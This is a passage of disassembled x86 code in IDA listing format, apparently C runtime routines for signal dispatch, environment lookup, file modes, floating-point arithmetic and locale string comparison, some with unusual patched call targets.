		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F06FCh
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F06FCh
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2900000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
